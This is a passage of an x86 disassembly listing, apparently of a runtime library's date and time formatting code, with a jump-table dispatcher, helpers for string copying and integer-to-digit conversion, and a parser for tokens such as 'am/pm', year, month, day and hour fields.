		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax
		call	sub_435310
		add	esp, 14h
		jmp	short loc_434CF9
; ---------------------------------------------------------------------------


loc_434C86:				; CODE XREF: sub_434B40+C5j
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A0h]
		push	eax
		call	sub_435310
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_434CB5
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434CB5:				; CODE XREF: sub_434B40+16Ej
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax
		call	sub_435310
		add	esp, 14h


loc_434CF9:				; CODE XREF: sub_434B40+144j
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434CFE:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350E9o
		mov	ecx, ds:dword_4EED08
		mov	ds:dword_4EED0C, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_4351B0
		add	esp, 10h
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434D28:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350B9o
		mov	eax, ds:dword_4EED08
		mov	ds:dword_4EED0C, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		call	sub_4351B0
		add	esp, 10h
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434D50:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350BDo
		mov	edx, ds:dword_4EED08
		mov	ds:dword_4EED0C, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		cdq
		mov	ecx, 0Ch
		idiv	ecx
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_434D7A
		mov	[ebp+var_4], 0Ch


loc_434D7A:				; CODE XREF: sub_434B40+231j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4351B0
		add	esp, 10h
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434D95:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350EDo
		mov	edx, ds:dword_4EED08
		mov	ds:dword_4EED0C, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	3
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		add	eax, 1
		push	eax
		call	sub_4351B0
		add	esp, 10h
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434DC2:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350F1o
		mov	ecx, ds:dword_4EED08
		mov	ds:dword_4EED0C, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		add	edx, 1
		push	edx
		call	sub_4351B0
		add	esp, 10h
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434DEF:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350C1o
		mov	eax, ds:dword_4EED08
		mov	ds:dword_4EED0C, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_4351B0
		add	esp, 10h
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434E17:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350F5o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_434E3C
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+98h]
		push	eax
		call	sub_435160
		add	esp, 0Ch
		jmp	short loc_434E56
; ---------------------------------------------------------------------------


loc_434E3C:				; CODE XREF: sub_434B40+2DEj
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	sub_435160
		add	esp, 0Ch


loc_434E56:				; CODE XREF: sub_434B40+2FAj
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434E5B:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350C5o
		mov	edx, ds:dword_4EED08
		mov	ds:dword_4EED0C, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		push	eax
		call	sub_4351B0
		add	esp, 10h
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434E84:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350C9o
		mov	ecx, ds:dword_4EED08
		mov	ds:dword_4EED0C, ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		mov	[ebp+var_8], eax
		jmp	short loc_434EED
; ---------------------------------------------------------------------------


loc_434E9B:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350F9o
		mov	ecx, ds:dword_4EED08
		mov	ds:dword_4EED0C, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_4351B0
		add	esp, 10h
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434EC5:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350CDo
		mov	eax, ds:dword_4EED08
		mov	ds:dword_4EED0C, eax
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_434EE1
		mov	[ebp+var_8], 6
		jmp	short loc_434EED
; ---------------------------------------------------------------------------


loc_434EE1:				; CODE XREF: sub_434B40+396j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		sub	eax, 1
		mov	[ebp+var_8], eax


loc_434EED:				; CODE XREF: sub_434B40+359j
					; sub_434B40+39Fj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+1Ch]
		cmp	edx, [ebp+var_8]
		jge	short loc_434F01
		mov	[ebp+var_4], 0
		jmp	short loc_434F2E
; ---------------------------------------------------------------------------


loc_434F01:				; CODE XREF: sub_434B40+3B6j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		cmp	edx, [ebp+var_8]
		jl	short loc_434F2E
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_434F2E:				; CODE XREF: sub_434B40+3BFj
					; sub_434B40+3E3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_4351B0
		add	esp, 10h
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434F49:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350FDo
		cmp	ds:dword_4EED08, 0
		jz	short loc_434F80
		mov	ds:dword_4EED08, 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A4h]
		push	edx
		call	sub_435310
		add	esp, 14h
		jmp	short loc_434FA2
; ---------------------------------------------------------------------------


loc_434F80:				; CODE XREF: sub_434B40+410j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A0h]
		push	edx
		call	sub_435310
		add	esp, 14h


loc_434FA2:				; CODE XREF: sub_434B40+43Ej
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434FA7:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350D1o
		mov	ds:dword_4EED08, 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A8h]
		push	edx
		call	sub_435310
		add	esp, 14h
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434FD8:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:00435101o
		mov	eax, ds:dword_4EED08
		mov	ds:dword_4EED0C, eax
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4351B0
		add	esp, 10h
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_43500E:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350D5o
		mov	edx, ds:dword_4EED08
		mov	ds:dword_4EED0C, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	ecx, eax
		add	ecx, 13h
		imul	ecx, 64h
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		cdq
		mov	esi, 64h
		idiv	esi
		add	ecx, edx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_4351B0
		add	esp, 10h
		jmp	short loc_4350A8
; ---------------------------------------------------------------------------


loc_43505B:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350D9o
		call	sub_42ED80
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		cmp	dword ptr [edx+20h], 0
		setnz	al
		mov	ecx, ds:off_45071C[eax*4]
		push	ecx
		call	sub_435160
		add	esp, 0Ch
		jmp	short loc_4350A8
; ---------------------------------------------------------------------------


loc_435086:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:off_4350ADo
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	25h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_4350A8:				; CODE XREF: sub_434B40+1Bj
					; sub_434B40+2Cj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_434B40	endp

; ---------------------------------------------------------------------------
off_4350AD	dd offset loc_435086	; DATA XREF: sub_434B40+2Cr
		dd offset loc_434B95
		dd offset loc_434BDB
		dd offset loc_434D28
		dd offset loc_434D50
		dd offset loc_434DEF
		dd offset loc_434E5B
		dd offset loc_434E84
		dd offset loc_434EC5
		dd offset loc_434FA7
		dd offset loc_43500E
		dd offset loc_43505B
		dd offset loc_434B73
		dd offset loc_434BB8
		dd offset loc_434BFE
		dd offset loc_434CFE
		dd offset loc_434D95
		dd offset loc_434DC2
		dd offset loc_434E17
		dd offset loc_434E9B
		dd offset loc_434F49
		dd offset loc_434FD8
		dd offset loc_4350A8
byte_435109	db 0			; DATA XREF: sub_434B40+26r
		dw 1616h
		dd 6 dup(16161616h), 16020116h,	16161616h, 16160403h, 16160516h
		dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
		dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
		dd 0CC0B1514h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435160	proc near		; CODE XREF: sub_434B40+48p
					; sub_434B40+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp


loc_435163:				; CODE XREF: sub_435160+44j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 0
		jz	short loc_4351A6
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_4351A6
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jmp	short loc_435163
; ---------------------------------------------------------------------------


loc_4351A6:				; CODE XREF: sub_435160+9j
					; sub_435160+13j
		pop	ebp
		retn
sub_435160	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4351B0	proc near		; CODE XREF: sub_434B40+1DBp
					; sub_434B40+203p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		cmp	ds:dword_4EED0C, 0
		jz	short loc_4351DA
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_435260
		add	esp, 0Ch
		jmp	short loc_435259
; ---------------------------------------------------------------------------


loc_4351DA:				; CODE XREF: sub_4351B0+12j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [eax]
		jnb	short loc_435250
		mov	edx, [ebp+arg_4]
		sub	edx, 1
		mov	[ebp+arg_4], edx
		jmp	short loc_4351F8
; ---------------------------------------------------------------------------


loc_4351EF:				; CODE XREF: sub_4351B0+82j
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax


loc_4351F8:				; CODE XREF: sub_4351B0+3Dj
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		test	ecx, ecx
		jz	short loc_435234
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		add	edx, 30h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	eax, [ebp+arg_4]
		mov	[ecx+eax], dl
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_4351EF
; ---------------------------------------------------------------------------


loc_435234:				; CODE XREF: sub_4351B0+50j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]


loc_435246:				; DATA XREF: seg002:004509D4o
		sub	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		jmp	short loc_435259
; ---------------------------------------------------------------------------


loc_435250:				; CODE XREF: sub_4351B0+32j
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0


loc_435259:				; CODE XREF: sub_4351B0+28j
					; sub_4351B0+9Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_4351B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435260	proc near		; CODE XREF: sub_4351B0+20p

var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx], 1
		jbe	short loc_4352BB


loc_435276:				; CODE XREF: sub_435260+59j
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jle	short loc_4352BB
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx], 1
		ja	short loc_435276


loc_4352BB:				; CODE XREF: sub_435260+14j
					; sub_435260+51j
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_4352D4:				; CODE XREF: sub_435260+A6j
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ebp+var_C], al
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		mov	al, [ebp+var_C]
		mov	[edx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+var_4]
		jb	short loc_4352D4
		mov	esp, ebp
		pop	ebp
		retn
sub_435260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435310	proc near		; CODE XREF: sub_434B40+EBp
					; sub_434B40+13Cp ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h


loc_435316:				; CODE XREF: sub_435310+2EAj
					; sub_435310:loc_4356DBj ...
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_43578C
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jz	loc_43578C
		mov	[ebp+var_8], 0
		mov	ds:dword_4EED0C, 0
		mov	[ebp+var_C], 0


loc_435345:				; DATA XREF: seg002:00450A58o
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_435356
; ---------------------------------------------------------------------------


loc_43534D:				; CODE XREF: sub_435310+5Fj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_435356:				; CODE XREF: sub_435310+3Bj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		cmp	eax, edx
		jnz	short loc_435371
		jmp	short loc_43534D
; ---------------------------------------------------------------------------


loc_435371:				; CODE XREF: sub_435310+5Dj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		sub	edx, 27h
		mov	[ebp+var_14], edx
		cmp	[ebp+var_14], 52h
		ja	loc_4356E0
		mov	ecx, [ebp+var_14]
		xor	eax, eax
		mov	al, ds:byte_4357BC[ecx]
		jmp	ds:off_435790[eax*4]


loc_4353A8:				; DATA XREF: seg000:0043579Co
		mov	edx, [ebp+var_C]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		sub	eax, 1
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 3
		ja	short loc_4353E1
		mov	ecx, [ebp+var_18]
		jmp	dword ptr ds:loc_43580F[ecx*4]
		mov	ds:dword_4EED0C, 1


loc_4353D1:				; CODE XREF: sub_435310+B0j
		mov	[ebp+var_8], 6Dh
		jmp	short loc_4353E1
; ---------------------------------------------------------------------------


loc_4353D7:				; CODE XREF: sub_435310+B0j
		mov	[ebp+var_8], 62h
		jmp	short loc_4353E1
; ---------------------------------------------------------------------------


loc_4353DD:				; CODE XREF: sub_435310+B0j
		mov	[ebp+var_8], 42h


loc_4353E1:				; CODE XREF: sub_435310+ABj
					; sub_435310+C5j ...
		jmp	loc_4356E0
; ---------------------------------------------------------------------------


loc_4353E6:				; CODE XREF: sub_435310+91j
					; DATA XREF: seg000:004357A0o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 3
		ja	short loc_43541F
		mov	ecx, [ebp+var_1C]
		jmp	dword ptr ds:loc_43581E+1[ecx*4]


loc_435405:				; CODE XREF: sub_435310+B0j
		mov	ds:dword_4EED0C, 1


loc_43540F:				; CODE XREF: sub_435310+B0j
					; sub_435310+EEj
		mov	[ebp+var_8], 64h
		jmp	short loc_43541F
; ---------------------------------------------------------------------------


loc_435415:				; CODE XREF: sub_435310+B0j
					; sub_435310+EEj
		mov	[ebp+var_8], 61h
		jmp	short loc_43541F
; ---------------------------------------------------------------------------


loc_43541B:				; CODE XREF: sub_435310+B0j
					; sub_435310+EEj
		mov	[ebp+var_8], 41h


loc_43541F:				; CODE XREF: sub_435310+E9j
					; sub_435310+103j ...
		jmp	loc_4356E0
; ---------------------------------------------------------------------------


loc_435424:				; CODE XREF: sub_435310+91j
					; DATA XREF: seg000:004357B4o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 2
		jz	short loc_435438
		cmp	[ebp+var_20], 4
		jz	short loc_43543E
		jmp	short loc_435442
; ---------------------------------------------------------------------------


loc_435438:				; CODE XREF: sub_435310+11Ej
		mov	[ebp+var_8], 79h
		jmp	short loc_435442
; ---------------------------------------------------------------------------


loc_43543E:				; CODE XREF: sub_435310+124j
		mov	[ebp+var_8], 59h


loc_435442:				; CODE XREF: sub_435310+126j
					; sub_435310+12Cj
		jmp	loc_4356E0
; ---------------------------------------------------------------------------


loc_435447:				; CODE XREF: sub_435310+91j
					; DATA XREF: seg000:004357A4o
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 1
		jz	short loc_43545B
		cmp	[ebp+var_24], 2
		jz	short loc_435465
		jmp	short loc_435469
; ---------------------------------------------------------------------------


loc_43545B:				; CODE XREF: sub_435310+141j
		mov	ds:dword_4EED0C, 1


loc_435465:				; CODE XREF: sub_435310+147j
		mov	[ebp+var_8], 49h


loc_435469:				; CODE XREF: sub_435310+149j
		jmp	loc_4356E0
; ---------------------------------------------------------------------------


loc_43546E:				; CODE XREF: sub_435310+91j
					; DATA XREF: seg000:00435798o
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_28], ecx
		cmp	[ebp+var_28], 1
		jz	short loc_435482
		cmp	[ebp+var_28], 2
		jz	short loc_43548C
		jmp	short loc_435490
; ---------------------------------------------------------------------------


loc_435482:				; CODE XREF: sub_435310+168j
		mov	ds:dword_4EED0C, 1


loc_43548C:				; CODE XREF: sub_435310+16Ej
		mov	[ebp+var_8], 48h


loc_435490:				; CODE XREF: sub_435310+170j
		jmp	loc_4356E0
; ---------------------------------------------------------------------------


loc_435495:				; CODE XREF: sub_435310+91j
					; DATA XREF: seg000:004357A8o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_2C], edx
		cmp	[ebp+var_2C], 1
		jz	short loc_4354A9
		cmp	[ebp+var_2C], 2
		jz	short loc_4354B3
		jmp	short loc_4354B7
; ---------------------------------------------------------------------------


loc_4354A9:				; CODE XREF: sub_435310+18Fj
		mov	ds:dword_4EED0C, 1


loc_4354B3:				; CODE XREF: sub_435310+195j
		mov	[ebp+var_8], 4Dh


loc_4354B7:				; CODE XREF: sub_435310+197j
		jmp	loc_4356E0
; ---------------------------------------------------------------------------


loc_4354BC:				; CODE XREF: sub_435310+91j
					; DATA XREF: seg000:004357ACo
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 1
		jz	short loc_4354D0
		cmp	[ebp+var_30], 2
		jz	short loc_4354DA
		jmp	short loc_4354DE
; ---------------------------------------------------------------------------


loc_4354D0:				; CODE XREF: sub_435310+1B6j
		mov	ds:dword_4EED0C, 1


loc_4354DA:				; CODE XREF: sub_435310+1BCj
		mov	[ebp+var_8], 53h


loc_4354DE:				; CODE XREF: sub_435310+1BEj
		jmp	loc_4356E0
; ---------------------------------------------------------------------------


loc_4354E3:				; CODE XREF: sub_435310+91j
					; DATA XREF: seg000:00435794o
		push	offset aAmPm	; "am/pm"
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_435D40
		add	esp, 8
		test	eax, eax
		jnz	short loc_435503
		mov	edx, [ebp+arg_0]
		add	edx, 5
		mov	[ebp+var_4], edx
		jmp	short loc_435521
; ---------------------------------------------------------------------------


loc_435503:				; CODE XREF: sub_435310+1E6j
		push	offset aAP	; "a/p"
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_435D40
		add	esp, 8
		test	eax, eax
		jnz	short loc_435521
		mov	ecx, [ebp+arg_0]
		add	ecx, 3
		mov	[ebp+var_4], ecx


loc_435521:				; CODE XREF: sub_435310+1F1j
					; sub_435310+206j
		mov	[ebp+var_8], 70h
		jmp	loc_4356E0
; ---------------------------------------------------------------------------


loc_43552A:				; CODE XREF: sub_435310+91j
					; DATA XREF: seg000:004357B0o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_435541
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+98h]
		mov	[ebp+var_10], ecx
		jmp	short loc_43554D
; ---------------------------------------------------------------------------


loc_435541:				; CODE XREF: sub_435310+221j
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+9Ch]
		mov	[ebp+var_10], eax


loc_43554D:				; CODE XREF: sub_435310+22Fj
					; sub_435310+2DFj
		cmp	[ebp+var_C], 0
		jle	loc_4355F4
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jbe	loc_4355F4
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_4355B7
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 1
		jbe	short loc_4355B7
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx


loc_4355B7:				; CODE XREF: sub_435310+26Ej
					; sub_435310+276j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_10]
